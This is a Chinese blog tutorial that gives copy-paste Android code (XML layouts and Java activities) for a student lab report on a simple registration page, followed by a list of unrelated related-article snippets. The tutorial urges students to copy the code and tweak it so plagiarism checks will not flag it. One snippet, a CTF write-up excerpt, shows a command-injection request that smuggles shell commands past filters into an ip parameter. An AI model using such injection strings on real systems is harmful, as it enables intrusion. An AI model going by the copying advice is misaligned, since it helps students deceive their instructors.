【快速解决】实验三 简单注册的实现《Android程序设计》实验报告

目录

前言 

实验要求

实验三 简单注册的实现

实验目的:

实验内容:

实验提示: 无

三、遇到的问题总结(如果有问题,请总结。如果没问题请写“无”)

正文开始

第一步建立项目

 第二步选择empty views activity点击next

​编辑

 第三步起名字,点击finish

第四步对 activity _main.xml文件操作进行布局

第五步,建立两个新文件,建立方法如下

LoadingActivity.java中的代码

 ResultActivity.java中的代码

activity_loading.xml代码 

 activity result.xml代码 

 MainActivity.java代码

结语 


前言 

不会写《Android程序设计》实验报告没关系,小光手把手教你怎么写。

下来我们先看一下,这次老师布置的实验要求(●'◡'●)

实验要求

实验三 简单注册的实现

实验环境:Android Studio

实验目的:
  1. 熟悉Android常见界面控件的使用,能够熟练掌握至少七种常见控件。
  2. 在自己搭建的开发环境完成一个注册页面的效果。
实验内容:

请按照以下要求完成操作,要求如下:

  1. 通过简单控件实现一个类似注册界面的效果;本界面为参考页面样式。

最少实现七种控件,其中涉及至少2个页面:

  1. 文本必选:TextView、EditText
  2. 图片二选一:ImageView、ImageButton
  3. 按钮必选:Button、RadioButton、CheckBox
  4. 可选:togglebutton
  5. 进度条三选一:ProgressBar、SeekBar、RatingBar

实验提示: 无
  • 程序源代码(只贴 .java和对应的.xml程序)

  • 运行结果界面
三、遇到的问题总结(如果有问题,请总结。如果没问题请写“无”)

注意:

 这篇文章中小光会带你们将老师布置的实验内容这部分,详细的讲解一下,大家可以直接复制代码,也可以学习一下怎么写,在这个基础上加以拓展,这样就不会查重了。

正文开始

小光的文章百分百可以成功!得到了大家的广泛认可

第一步建立项目

 第二步选择empty views activity点击next
 第三步起名字,点击finish

见到下面的页面我们的项目就算新建成功了 (是不是很简单),下来让我们开始,进行实验内容的实现。

第四步对 activity _main.xml文件操作进行布局

 老师要求我们的布局是长这个样子的,我们看一下👇👇👇

我知道大家肯定不会对页面进行布局,那我们就废话不多说,这里直接复制我帮大家写好的布局即可。

下面展示一下我的布局

 activity _main.xml中的代码如下,直接复制即可

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="10dp"
    android:background="@drawable/bk">

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        android:layout_marginTop="50dp">

        <ImageButton
            android:id="@+id/weixin"
            android:layout_width="0dp"
            android:layout_height="91dp"
            android:layout_gravity="center"
            android:layout_weight="1"
            android:background="@drawable/qq"
            android:contentDescription="微信注册" />

        <ImageButton
            android:id="@+id/qq"
            android:layout_width="0dp"
            android:layout_height="match_parent"
            android:layout_gravity="center"
            android:layout_marginLeft="15dp"
            android:layout_weight="1"
            android:background="@drawable/weixin"
            android:contentDescription="QQ注册" />

    </LinearLayout>

    <Button
        android:id="@+id/dianzi"
        android:layout_width="378dp"
        android:layout_height="wrap_content"
        android:layout_gravity="center"
        android:background="@drawable/bg_username"
        android:text="使用电子邮箱注册"
        android:textColor="#FFFFFF"
        android:textSize="18sp"
        android:layout_marginTop="5dp"/>

    <EditText
        android:id="@+id/et_username"
        android:layout_width="match_parent"
        android:layout_height="50dp"
        android:hint="用户名"
        android:textColor="#00FFA1"
        android:textSize="16sp"
        android:maxLines="1"
        android:padding="10dp"
        android:layout_marginTop="30dp"
        android:background="@drawable/bg_transparent"/>

    <EditText
        android:id="@+id/et_password"
        android:layout_width="match_parent"
        android:layout_height="50dp"
        android:hint="密码"
        android:textColor="#00FFA1"
        android:textSize="16sp"
        android:maxLines="1"
        android:padding="10dp"
        android:inputType="textPassword"
        android:background="@drawable/bg_transparent"
        android:layout_marginTop="25dp"/>

    <RadioGroup
        android:id="@+id/rg_gender"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        android:layout_marginTop="50dp">

        <TextView
            android:id="@+id/tv_gender"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="性别:"
            android:textColor="#FFFFFF"
            android:textSize="20sp"/>

        <RadioButton
            android:id="@+id/rb_male"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="男"
            android:textColor="#FFFFFF"/>

        <RadioButton
            android:id="@+id/rb_female"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="女"
            android:textColor="#FFFFFF"/>

    </RadioGroup>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        android:layout_marginTop="5dp">

        <TextView
            android:id="@+id/tv_hobby"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="兴趣爱好:"
            android:textColor="#FFFFFF"
            android:textSize="20sp"/>

        <CheckBox
            android:id="@+id/checkbox_sing"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="唱歌"
            android:textColor="#FFFFFF"/>

        <CheckBox
            android:id="@+id/checkbox_dance"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="跳舞"
            android:textColor="#FFFFFF"/>

        <CheckBox
            android:id="@+id/checkbox_read"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="读书"
            android:textColor="#FFFFFF"/>

    </LinearLayout>

    <Button
        android:id="@+id/btn_submit"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:background="@drawable/but_1"
        android:text="提交"
        android:textColor="#FFFFFF"
        android:textSize="18sp"/>

</LinearLayout>

 然后你们看到的就会是这个结果,不要怕,小光会带你们解决

问题就算这样子,没有图片,还有红色报错。没关系,小光下来教大家快速解决。

 这里大家先按照下面的操作来做

(1)对着图片新建立xml文件

最终建立好后的样子是这样的,这里注意文件名一定要一模一样

这里建立好文件就行了,(为了方便大家)文件里面什么都不用写。这样 activity _main.xml就可以找到我们代码中的文件了。

这样要是大家相加布局文件中的内容我会把内容放在最后,大家直接复制就行。

然后加入背景图片(背景图片加入自己的背景图)

这里主要是文件名字要一样,这样就可以直接用了。

 这里我们加一些输入框的背景(不然都看不清了)

 对应代码如下:

<shape xmlns:android="http://schemas.android.com/apk/res/android">
    <solid android:color="#80CCCCCC" />
    <corners android:radius="8dp" />
</shape>

效果展示

这样我们的布局就做完了。下面的内容就非常简单了,写到这里我已经写累了,相信大家也看累了,那么下来我们就直接我能复制,加快我们的速度吧,gogogo(●'◡'●)

第五步,建立两个新文件,建立方法如下

第一个LoadingActivity 

第二个ResultActivity  

下载开始直接复制即可,无脑复制,快速结束战斗(估计要5花分钟)

LoadingActivity.java中的代码
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.ImageButton;
import android.widget.ProgressBar;
import android.os.Handler;
import android.widget.TextView;
import android.content.Intent;

public class LoadingActivity extends AppCompatActivity {

    private ProgressBar progressBar;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_loading);

        // 获取MainActivity传递的数据
        Intent intent = getIntent();
        if (intent != null) {
            String username = intent.getStringExtra("USERNAME");
            String password = intent.getStringExtra("PASSWORD");
            String gender = intent.getStringExtra("GENDER");
            String hobbies = intent.getStringExtra("HOBBIES");

            // 在这里可以根据需要使用这些数据

            // 显示ProgressBar
            progressBar = findViewById(R.id.progress_bar);

            // 在onCreate中添加
            Handler handler = new Handler();
            handler.postDelayed(new Runnable() {
                @Override
                public void run() {
                    // 跳转到ResultActivity并传递数据
                    Intent resultIntent = new Intent(LoadingActivity.this, ResultActivity.class);
                    resultIntent.putExtra("USERNAME", username);
                    resultIntent.putExtra("PASSWORD", password);
                    resultIntent.putExtra("GENDER", gender);
                    resultIntent.putExtra("HOBBIES", hobbies);
                    startActivity(resultIntent);

                    // 关闭当前Loading页面
                    finish();
                }
            }, 3000); // 延迟3秒
        }
    }
}

 复制完后会看见这样子

 ResultActivity.java中的代码
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.widget.TextView;
import android.content.Intent;

public class ResultActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_result);

        // 获取传递的数据
        Intent intent = getIntent();
        if (intent != null) {
            String username = intent.getStringExtra("USERNAME");
            String password = intent.getStringExtra("PASSWORD");
            String gender = intent.getStringExtra("GENDER");
            String hobbies = intent.getStringExtra("HOBBIES");

            // 将数据显示在 TextView 中
            TextView textUsername = findViewById(R.id.text_username);
            TextView textPassword = findViewById(R.id.text_password);
            TextView textGender = findViewById(R.id.text_gender);
            TextView textHobbies = findViewById(R.id.text_hobbies);

            textUsername.setText("Username: " + username);
            textPassword.setText("Password: " + password);
            textGender.setText("Gender: " + gender);
            textHobbies.setText("Hobbies: " + hobbies);
        }
    }
}

activity_loading.xml代码 
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:gravity="center">

    <ProgressBar
        android:id="@+id/progress_bar"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"/>

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="加载中..."/>

</LinearLayout>

 activity result.xml代码 

 

<!-- activity_result.xml -->
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp">

    <TextView
        android:id="@+id/text_username"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Username: "
        android:textSize="18sp"
        android:textColor="#000000"/>

    <TextView
        android:id="@+id/text_password"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Password: "
        android:textSize="18sp"
        android:textColor="#000000"/>

    <TextView
        android:id="@+id/text_gender"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Gender: "
        android:textSize="18sp"
        android:textColor="#000000"/>

    <TextView
        android:id="@+id/text_hobbies"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hobbies: "
        android:textSize="18sp"
        android:textColor="#000000"/>
</LinearLayout>

 MainActivity.java代码
package com.example.myapplication;

import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.os.Parcelable;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioGroup;
import android.widget.RadioButton;
import android.widget.Toast;
import android.widget.CheckBox;
import android.widget.ImageButton;
import android.os.SystemClock;

public class MainActivity extends AppCompatActivity {
    private EditText etUsername, etPassword;
    private RadioGroup rgGender;
    private RadioButton rbMale, rbFemale;
    private CheckBox checkboxSing, checkboxDance, checkboxRead;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 初始化视图
        etUsername = findViewById(R.id.et_username);
        etPassword = findViewById(R.id.et_password);
        rgGender = findViewById(R.id.rg_gender);
        rbMale = findViewById(R.id.rb_male);
        rbFemale = findViewById(R.id.rb_female);
        checkboxSing = findViewById(R.id.checkbox_sing);
        checkboxDance = findViewById(R.id.checkbox_dance);
        checkboxRead = findViewById(R.id.checkbox_read);

        // 假设有一个按钮点击事件触发传递数据到 ResultActivity
        Button submitButton = findViewById(R.id.btn_submit);
        submitButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                // 获取输入的文本
                String username = etUsername.getText().toString();
                String password = etPassword.getText().toString();

                // 获取选中的性别
                String gender = "";
                int selectedId = rgGender.getCheckedRadioButtonId();
                if (selectedId == R.id.rb_male) {
                    gender = "男";
                } else if (selectedId == R.id.rb_female) {
                    gender = "女";
                }

                // 获取选中的兴趣爱好
                StringBuilder hobbies = new StringBuilder();
                if (checkboxSing.isChecked()) {
                    hobbies.append("唱歌 ");
                }
                if (checkboxDance.isChecked()) {
                    hobbies.append("跳舞 ");
                }
                if (checkboxRead.isChecked()) {
                    hobbies.append("读书");
                }

                // 创建一个Intent传递数据到ResultActivity
                Intent intent = new Intent(MainActivity.this, LoadingActivity.class);
                intent.putExtra("USERNAME", username);
                intent.putExtra("PASSWORD", password);
                intent.putExtra("GENDER", gender);
                intent.putExtra("HOBBIES", hobbies.toString());

                // 启动 ResultActivity
                startActivity(intent);
            }
        });
    }
}

 很好,复制到这里,你的实验就算是完成了,接下来让我们运行看看效果吧

点击运行 

这样就结束了,感谢大家的观看,百分百成功,不会出现运行不了的问题。但一定要按照小光的代码复制,全部复制粘贴就行了。这里强调一下,文件的名字,所有的名字必须都和展示的图片中一模一样,不然会报错。

结语 

关注小光,小光帮你写实验报告(不是真的帮你写,就是我写好,你直接复制拿走的那种)也可以看看小光的其他文章,小光是全能的。

🌌点击下方个人名片,交流会更方便哦~(欢迎到博主主页加入我们的 CodeCrafters联盟一起交流学习↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/160815.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

IDEA 中设置 File Header 以及自定义类、方法注释模板的方法

目录 1 设置 File Header2 自定义类、方法注释生成类注解模板生成方法注解模板 1 设置 File Header File -> Settings -> File and Code Templates -> Includes -> File Header -> 编辑 2 自定义类、方法注释 File -> Settings -> Live Templates -&g…

Reflect的作用,target,property,value,receiver代表啥

1.真的proxy let target {name:张三} let handler {get(target,property,receiver){console.log(1,target,2,property,3,receiver)return Reflect.get(target,property,receiver)},set(target,property,value,receiver){console.log(a,target,b,property,c,value,d,receiver)…

java每日一记 —— 谈谈反射

这应该是基础吧 1.先来说点前置知识&#xff1a;类的加载机制2.以自己的方式来谈反射的概念3.获取class的三种方式3.1.通过已知的类型获取class3.2.通过实例对象获取class3.3.通过Class.forName获取全路径指定类名的class 4.整理了一下API&#xff1a;坦言说&#x1faa1;累5.现…

利用X6 制作一个简单的流程图工具

介绍 项目模版使用 我自己基于 arco-design 封装的一个 B 端项目模版 。 地址&#xff1a;https://github.com/duKD/antv-x6-org 运用 antv/X6 &#xff1a; https://x6.antv.antgroup.com/ 来实现 一个简单的流程图工具 项目预览&#xff1a; 功能 支持框选 alt鼠标左键…

记一次用jlink调试正常,不进入调试就不能运行的情况

一、概述 我开机会闪烁所有指示灯&#xff0c;但是重新上电时&#xff0c;指示灯并没有闪烁&#xff0c;就像"卡死"了一样。 使用jlink的swd接口进行调试&#xff0c;需要多点几次运行才能跳转到main函数里面。 调试模式第一次点击运行&#xff0c;暂停查看函数堆栈…

iframe父子页面通信相互调用传递参数多个postMessage

效果 如何运行 父页面代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title>…

PyTorch DataLoader整理函数详解【collate_fn】

DataLoader 是 PyTorch 中最常用的类之一。 而且&#xff0c;它是你首先学习的内容之一。 该类有很多参数&#xff0c;但最有可能的是&#xff0c;你将使用其中的大约三个参数&#xff08;dataset、shuffle 和 batch_size&#xff09;。 今天我想解释一下 collate_fn 的含义—根…

【开源】基于JAVA的校园失物招领管理系统

项目编号&#xff1a; S 006 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S006&#xff0c;文末获取源码。} 项目编号&#xff1a;S006&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 招领管理模块2.2 寻物管理模块2.3 系…

Linux shell编程学习笔记26:stty(set tty)

之前我们探讨了Linux中的tty&#xff0c;tty命令的主要功能是显示当前使用的终端名称。 如果我们想进一步对tty进行设置&#xff0c;就要用到stty。 stty的功能&#xff1a;显示和修改终端特性&#xff08;Print or change terminal characteristics&#xff09;。 1 stty -…

设置 SSH 主机 ***: (details) 连接到 VS Code Server - 重试 2

VS Code Server 一直重试输入密码 问题描述解决方法1、打开命令面板Ctrl shift p2、在输入框中输入Kill3、在弹出框中选择一直重复输入密码的服务器主机号&#xff0c;输入密码即可成功。 问题描述 VSCode 在使用插件 Remote - SSH 连接远程服务器时总是会遇到各种问题&#…

电脑软件:推荐一款非常实用的固态硬盘优化工具

目录 一、软件简介 二、工作原理 三、功能介绍 3.1、优化SSD设置 3.2、查看驱动器信息 3.3、查看SMART数据 3.4、停用Windows事件日志记录 3.5、禁用Windows碎片整理 3.6、时间戳停用 3.7、禁用引导文件的碎片整理 3.8、关闭短名称 四、使用教程 4.1 安装说明 4.…

猜数字优化版(带进度条)

其实就是加了个动态进度条显示加载游戏的流程&#xff0c;这样看上去是不是更有big了hhhh #include<windows.h> #include<iostream> #include<ctime> using namespace std; void menu() {printf("1.开始游戏\n");printf("0.退出游戏\n")…

CTFhub-RCE-综合过滤练习

%0a、%0d、%0D%0A burp 抓包 修改请求为 POST /?127.0.0.1%0als 列出当前目录 返回包 http://challenge-135e46015a30567b.sandbox.ctfhub.com:10800/?ip127.0.0.1%0acd%09*here%0ac%27a%27t%09* _311632412323588.php

基于和声算法优化概率神经网络PNN的分类预测 - 附代码

基于和声算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于和声算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于和声优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

java+ 如何动态配置业务规则组

思路 1. 实现在页面上的动态配置规则组&#xff08;2张数据表枚举类serviceimplaction&#xff09; 2. 从数据库中表staffmoverules&#xff08;规则明细表&#xff09;或者staffmovetyperule&#xff08;规则组表&#xff09; &#xff0c;根据传入类型&#xff0c;取出规则编…

【开源】基于JAVA的快递管理系统

项目编号&#xff1a; S 007 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S007&#xff0c;文末获取源码。} 项目编号&#xff1a;S007&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 数据中心模块2.2 快递类型模块2.3 快…

YOLOv8-Seg改进:渐近特征金字塔网络(AFPN)

🚀🚀🚀本文改进:AFPN通过融合两个相邻的Low-Level特征来启动的,并渐进地将High-Level特征纳入融合过程,提升分割能力。 🚀🚀🚀AFPN小目标分割首选,暴力涨点 🚀🚀🚀YOLOv8-seg创新专栏:http://t.csdnimg.cn/KLSdv 学姐带你学习YOLOv8,从入门到创新,轻…

c++中的String

文章目录 String定义对象的方式成员函数operatorbegin/endsizecapacityreserversizeoperator/append/push_backoperator[]/at String String是一个类模版&#xff0c;可以定义一个字符/字符串对象。 字符顺序表 定义对象的方式 定义方式有很多重要的就这几种 string s1;stri…

配置环境-insightface-torch

1. 创建环境&#xff1a;conda create -n insightface2 python3.8 2.安装pytorch: 我的cuda 是 11.3 然后进入 pytorch 官网查找对应cuda 版本 pytorch 安装 建议使用 pip # CUDA 11.3 conda install pytorch1.12.1 torchvision0.13.1 torchaudio0.12.1 cudatoolkit11.3 -…

UE5 C++报错:is not currently enabled for Live Coding

解决办法&#xff1a; 再次打开项目&#xff0c;以此法打开&#xff1a;